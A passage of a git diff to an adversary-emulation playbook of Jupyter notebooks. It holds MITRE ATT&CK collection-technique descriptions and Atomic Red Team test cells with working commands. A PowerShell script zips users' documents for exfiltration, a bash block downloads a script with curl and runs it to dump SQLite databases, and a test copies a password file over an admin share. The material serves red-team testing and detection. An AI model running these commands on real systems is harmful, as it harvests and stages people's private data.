determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. \nT1560 | Archive Collected Data | An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.\nT1185 | Browser Session Hijacking | Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)\nT1557.003 | DHCP Spoofing | Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. \nT1557.001 | LLMNR/NBT-NS Poisoning and SMB Relay | By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)\nT1056.003 | Web Portal Capture | Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)\nT1125 | Video Capture | An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)\nT1213.001 | Confluence | \nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nT1114.003 | Email Forwarding Rule | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. \nT1074 | Data Staged | Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.\nT1056.002 | GUI Input Capture | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) \nT1039 | Data from Network Shared Drive | Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.\nT1114.002 | Remote Email Collection | Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.\nT1056 | Input Capture | Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).\nT1557.002 | ARP Cache Poisoning | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n\nT1213.003 | Code Repositories | Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.\nT1213 | Data from Information Repositories | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.\nT1602.001 | SNMP (MIB Dump) | Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) \nT1056.004 | Credential API Hooking | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n" }, { "cell_type": "code", "execution_count": null, - "id": "d16ac635", + "id": "2c288049", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic collection" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1005.ipynb b/playbook/tactics/collection/T1005.ipynb index 664bc0c8..2e3444ce 100644 --- a/playbook/tactics/collection/T1005.ipynb +++ b/playbook/tactics/collection/T1005.ipynb @@ -2,25 +2,105 @@ "cells": [ { "cell_type": "markdown", - "id": "36fe224e", + "id": "da787ac2", "metadata": {}, - "source": "# T1005 - Data from Local System\nAdversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n" + "source": "# T1005 - Data from Local System\nAdversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n" }, { "cell_type": "markdown", - "id": "6bedfa7a", + "id": "34a817c9", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1ce41692", + "id": "bbe2d20e", "metadata": {}, - "source": "## Detection\nMonitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." + "source": [ + "### Atomic Test #1 - Search files of interest and save them to a single zip file (Windows)", + "This test searches for files of certain extensions and saves them to a single zip file prior to extraction. \n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$startingDirectory = \"C:\\Users\"\n$outputZip = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1005\"\n$fileExtensionsString = \".doc, .docx, .txt\" \n$fileExtensions = $fileExtensionsString -split \", \"\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null\n\nFunction Search-Files {\n param (\n [string]$directory\n )\n $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {\n $fileExtensions -contains $_.Extension.ToLower()\n }\n return $files\n}\n\n$foundFiles = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt 0) {\n $foundFilePaths = $foundFiles.FullName\n Compress-Archive -Path $foundFilePaths -DestinationPath \"$outputZip\\data.zip\"\n\n Write-Host \"Zip file created: $outputZip\\data.zip\"\n } else {\n Write-Host \"No files found with the specified extensions.\"\n }\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "51cc5460", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1005 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "2b9f455a", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path $outputZip\\data.zip -Force\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b5fce9cc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1005 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "41a1521e", + "metadata": {}, + "source": "### Atomic Test #2 - Find and dump sqlite databases (Linux)\nAn adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if running on a Debian based machine.\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v sqlite3)\" ]; then echo \"sqlite3 is installed\"; else echo \"sqlite3 is NOT installed\"; exit 1; fi\nif [ -x \"$(command -v curl)\" ]; then echo \"curl is installed\"; else echo \"curl is NOT installed\"; exit 1; fi\nif [ -x \"$(command -v strings)\" ]; then echo \"strings is installed\"; else echo \"strings is NOT installed\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\nif grep -iq \"debian\\|ubuntu\\|kali\\|mint\" /usr/lib/os-release; then apt update && apt install -y binutils curl sqlite3; fi\nif grep -iq \"rhel\\|fedora\\|centos\" /usr/lib/os-release; then yum update -y && yum install -y binutils curl sqlite-devel; fi\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "658a6128", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1005 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "56877846", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `bash`\n", + "```bash\ncd $HOME\ncurl -O https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src/art\ncurl -O https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src/gta.db\ncurl -O https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src/sqlite_dump.sh\nchmod +x sqlite_dump.sh\nfind . ! -executable -exec bash -c 'if [[ \"$(head -c 15 {} | strings)\" == \"SQLite format 3\" ]]; then echo \"{}\"; ./sqlite_dump.sh {}; fi' \\;\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "67253660", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1005 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "fd27bf4c", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nrm -f $HOME/.art\nrm -f $HOME/gta.db\nrm -f $HOME/sqlite_dump.sh \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "71caa7ef", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1005 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "c5fb70bd", + "metadata": {}, + "source": "## Detection\nMonitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files. " }, { "cell_type": "markdown", - "id": "433eb407", + "id": "7a908eea", "metadata": {}, "source": "\n## Shield Active Defense\n### Pocket Litter \n Place data on a system to reinforce the legitimacy of the system or user. \n\n Pocket Litter is data placed on a system to convince an adversary that the system and users are real. Pocket litter includes documents, registry entries, log history, browsing history, connection history, and other user data that one would expect to exist on a user's computer. This content may overlap with Decoy Content, however Pocket Litter covers aspects beyond just content (e.g.: Installed Applications, source code, clutter on a system, etc.).\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to add legitimacy by ensuring the local system is with fully populated with content.\n#### Use Case\nA defender can stage a variety of pocket litter files to bolster the legitimacy of the local system.\n#### Procedures\nWhen staging a decoy system and user account, populate a user's folders and web history to make it look realistic to an adversary.\nStage a USB device with documents on a specific topic in order to see if they are exfiltrated by an adversary.\n" } @@ -28,13 +108,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1025.ipynb b/playbook/tactics/collection/T1025.ipynb index 97ee6e25..499baa5d 100644 --- a/playbook/tactics/collection/T1025.ipynb +++ b/playbook/tactics/collection/T1025.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "7e328d76", + "id": "5d98619e", "metadata": {}, "source": "# T1025 - Data from Removable Media\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media." }, { "cell_type": "markdown", - "id": "9c87d6a7", + "id": "55064e91", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "9b363b5b", + "id": "f2f033e1", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "01c17807", + "id": "f2ef753a", "metadata": {}, "source": "\n## Shield Active Defense\n### Pocket Litter \n Place data on a system to reinforce the legitimacy of the system or user. \n\n Pocket Litter is data placed on a system to convince an adversary that the system and users are real. Pocket litter includes documents, registry entries, log history, browsing history, connection history, and other user data that one would expect to exist on a user's computer. This content may overlap with Decoy Content, however Pocket Litter covers aspects beyond just content (e.g.: Installed Applications, source code, clutter on a system, etc.).\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to seed content to influence an adversary's behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can stage a variety of pocket litter files on an attached storage space. This data may include topics that align to a persona, topics an adversary is interested in, etc.\n#### Procedures\nWhen staging a decoy system and user account, populate a user's folders and web history to make it look realistic to an adversary.\nStage a USB device with documents on a specific topic in order to see if they are exfiltrated by an adversary.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1039.ipynb b/playbook/tactics/collection/T1039.ipynb index 09921239..dcb68c37 100644 --- a/playbook/tactics/collection/T1039.ipynb +++ b/playbook/tactics/collection/T1039.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "8c5f0846", + "id": "6b0db6f9", "metadata": {}, "source": "# T1039 - Data from Network Shared Drive\nAdversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information." }, { "cell_type": "markdown", - "id": "11b7a901", + "id": "499a5a9e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7f5e90b5", + "id": "782d5a00", "metadata": {}, - "source": "### Atomic Test #1 - Copy a sensitive File over Administive share with copy\nCopy from sensitive File from the c$ of another LAN computer with copy cmd\nhttps://twitter.com/SBousseaden/status/1211636381086339073\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Administrative share must exist on #{remote}\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"\\\\127.0.0.1\\C$\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host 'Please Enable \"C$\" share on 127.0.0.1'\n\n```\n##### Description: \"\\\\#{remote}\\C$\\#{share_file}\" must exist on #{remote}\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"\\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nOut-File -FilePath \"\\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\"\n\n```" + "source": "### Atomic Test #1 - Copy a sensitive File over Administrative share with copy\nCopy from sensitive File from the c$ of another LAN computer with copy cmd\nhttps://twitter.com/SBousseaden/status/1211636381086339073\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Administrative share must exist on #{remote}\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"\\\\127.0.0.1\\C$\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host 'Please Enable \"C$\" share on 127.0.0.1'\n\n```\n##### Description: \"\\\\#{remote}\\C$\\#{share_file}\" must exist on #{remote}\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"\\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nOut-File -FilePath 